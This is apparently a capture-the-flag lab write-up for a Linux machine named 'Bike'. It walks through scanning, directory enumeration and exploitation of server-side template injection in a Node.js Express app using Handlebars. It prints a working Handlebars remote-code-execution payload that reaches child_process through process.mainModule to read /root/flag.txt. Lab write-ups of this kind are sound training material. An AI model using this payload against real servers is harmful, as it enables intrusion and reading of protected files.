MACHINE - BIKE

IP : 10.129.236.251

Type: Linux

OPEN PORTS

[1] 22/tcp ssh **OpenSSH 8.2p1** [2] 80/tcp http **Node.js** (*Express* middleware)

- No further informations obtained using `-sC`

OPENING THE SITE

- Nothing strange in the source code
- No cookies being set
- No strange requests by submitting an email
- Running directory enumeration

```
$ gobuster dir -u http://10.129.239.64/ -w /usr/share/wordlist/dirb/common.txt
```

- Found the following directories

1. css
2. images
3. js

- Connection refused for some requests
- When trying to put the email and click on submit the email is shown back to the user
- This can lead to possible attack vectors for XSS (Cross-Site Scripting)
- We already know that the site uses:

1. Node.js as programming language
2. Express as both Web Framework and Web Servers

- Trying with classical `<script>alert(1)</script>` -> Not working
- We must use another vulnerability
- Node.js and Python backend serverse make use of a *Template Engine*

- Template Engine are usually prone to *Server-Side Template Injection*

> Server-Side Template Injection is a vulnerability where the attacker injects malicious input into a template in order to execute commands on the server

- In this case the template is when the input email is returned in the page

SERVER-SIDE TEMPLATE INJECTION

- According to HackTricks

> To detect SSTI, initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (`${{<%[%'"}}%\`) into the template and analyzing the differences in the server's response to regular data versus this special payload. A possible vulnerability is found if the template tries to evaluate template expressions like: `{{7*7}}` or `${7*7}`

- Injecting `{{7*7}}` into the form throws an error page
- Identified the used Template Engine to be: *Handlebars*
- The server run from the folder `/root/Backend`
- According to this post

> If you are using ExpressJs + Handlebars for Server Side Rendering, you are likely vulnerable to *Local File Read* (LFR) and potential *Remote Code Execution* (RCE).

- Read also this post
- In HackTricks we can find the following payload for RCE

```
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
```

```
    {{/with}}
  {{/with}}
{{/with}}
```

- We can try to sent this payload
- First we need to encode it
- We can use BurpSuite to intercept the traffic, Encode the payload and then send it
- Once it has been sent we obtain an error in the response

```
Error: require is not defined
```

- That's because we cannot directly access `require`
- Template Engines are often Sandboxed, it is very hard to load modules
- However there are some variables that are defined *Global*, accessible by all
- In NodeJS there is one of particular interesting, named *process*

> *process* provides information about, and control over, the current Node.js process

- Just modify the previous payload with

```
{{this.push "return process;"}}
```

- Sent the payload we obtain an actual HTML page with this information in the template

```
We will contact you at:       e
2
[object Object]
function Function() { [native code] }
2
[object Object]
[object process]
```

- Looking at the documentation we can see that there is a MainModule property
- It is deprecated but not inaccessible
- Modify the payload with

```
{{this.push "return process.mainModule;"}}
```

- We can go on
- Just use this payload now

```
{{this.push "return process.mainModule.require('child_process')\
    .execSync('cat /root/flag.txt')"}}
```